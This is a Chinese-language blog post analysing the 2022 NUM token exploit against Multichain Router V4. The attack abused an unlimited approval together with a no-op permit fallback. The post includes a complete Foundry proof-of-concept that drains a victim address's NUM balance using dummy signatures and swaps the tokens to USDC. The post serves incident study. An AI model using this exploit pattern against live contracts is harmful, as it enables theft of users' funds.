NUM 漏洞分析

  • Archime
  • 更新于 2022-11-25 17:25
  • 阅读 3040

NUM 漏洞分析

1. NUM漏洞简介

https://twitter.com/BlockSecTeam/status/1595346020237352960

1.png

2. 相关地址或交易

https://twitter.com/BlockSecTeam/status/1595346020237352960 https://phalcon.blocksec.com/tx/eth/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32 攻击交易 https://tx.eth.samczsun.com/ethereum/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32 攻击交易 https://etherscan.io/address/0x765277EebeCA2e31912C9946eAe1021199B39C61#code Multichain: Router V4 2 https://etherscan.io/address/0x3496B523e5C00a4b4150D6721320CdDb234c3079 Numbers Protocol: NUM Token

3. 获利分析

2.png

4. ERC677代币

此次事件漏洞与ERC677代币关系并不大,可参考以下链接了解ERC677合约的实现逻辑:https://learnblockchain.cn/article/588

“RC677标准是ERC20的一个扩展,继承了ERC20的所有方法和事件,除了包含了ERC20的所有方法和事件之外,增加了transferAndCall 方法: function transferAndCall(address receiver, uint amount, bytes data) returns (bool success) 这个方法比ERC20中的transfer方法多了一个data字段,这个字段用于在转账的同时,携带用户自定义的数据。在方法调用的时候,还会触发Transfer(address,address,uint256,bytes) 事件,记录下发送方、接收方、转账金额以及附带数据。完成转账和记录日志之后,代币合约还会调用接收合约的onTokenTransfer方法,用来触发接收合约的逻辑。这就要求接收ERC677代币的合约必须实现onTokenTransfer方法,用来给代币合约调用。onTokenTransfer方法定义如下: function onTokenTransfer(address from, uint256 amount, bytes data) returns (bool success) 接收合约就可以在这个方法中定义自己的业务逻辑,可以在发生转账的时候自动触发。换句话说,智能合约中的业务逻辑,可以通过代币转账的方式来触发自动运行。”

5. 攻击过程&漏洞原因

  1. 攻击者先查看被攻击合约0x78ac给Multichain: Router V4 2授权的额度,为115792089237316195423570985008687907853269984665640563939356584007913129639935 ,即type(uint256).max ;

3.png

  1. 攻击者再调用Multichain: Router V4 2合约的anySwapOutUnderlyingWithPermit方法,查看具体代码发现Multichain将调用代币NUM的peimit函数;

4.png

  1. 在NUM代币的代码中并未实现permit函数,并且查看function(),并未实现任何逻辑,这就意味着调用NUM的peimit方法不会执行任何操作。

5.png

4. 漏洞复现

漏洞复现代码可参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/NUM_exp.sol


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1595346020237352960
// @TX
// https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32

interface MultichainRouter{
    function anySwapOutUnderlyingWithPermit(
        address from,
        address token,
        address to,
        uint amount,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s,
        uint toChainID
    ) external;
}

contract ContractTest is DSTest{
    IERC20 NUM = IERC20(0x3496B523e5C00a4b4150D6721320CdDb234c3079);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    MultichainRouter multichainRouter = MultichainRouter(0x765277EebeCA2e31912C9946eAe1021199B39C61);
    Uni_Router_V3 Router = Uni_Router_V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);
    address victimAddress = 0x78AC2624a2Cd193E8dEfE9F39A9528e8bd4a368c;
    uint NUMBalance;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16029969); 
    }

    function testExploit() external{
        NUMBalance = NUM.balanceOf(victimAddress);
        uint8 v = 0;
        bytes32 r = 0x3078000000000000000000000000000000000000000000000000000000000000;
        bytes32 s = 0x3078000000000000000000000000000000000000000000000000000000000000;
        multichainRouter.anySwapOutUnderlyingWithPermit(
            victimAddress,
            address(this),
            address(this),
            NUMBalance,
            block.timestamp + 60,
            v,
            r,
            s,
            12
        );
        NUM.approve(address(Router), type(uint).max);
        WETH.approve(address(Router), type(uint).max);
        NUM.transfer(address(Router), NUM.balanceOf(address(this)));
        address[] memory path = new address[](2);
        path[0] = address(NUM);
        path[1] = address(USDC);
        Router.swapExactTokensForTokens(0, 0, path, address(this));

        emit log_named_decimal_uint(
            "[End] Attacker USDC balance after exploit",
            USDC.balanceOf(address(this)),
            6
        );
    }

    function underlying() external returns(address){
        return address(NUM);
    }

    function depositVault(uint256 amount, address to) external returns(uint){
        return NUMBalance;
    }

    function burn(address from, uint256 amount) external returns(bool){
        return true;
    }
}
点赞 1
收藏 1
分享

0 条评论

请先 登录 后评论
Archime
Archime
0x96C4...508C
江湖只有他的大名,没有他的介绍。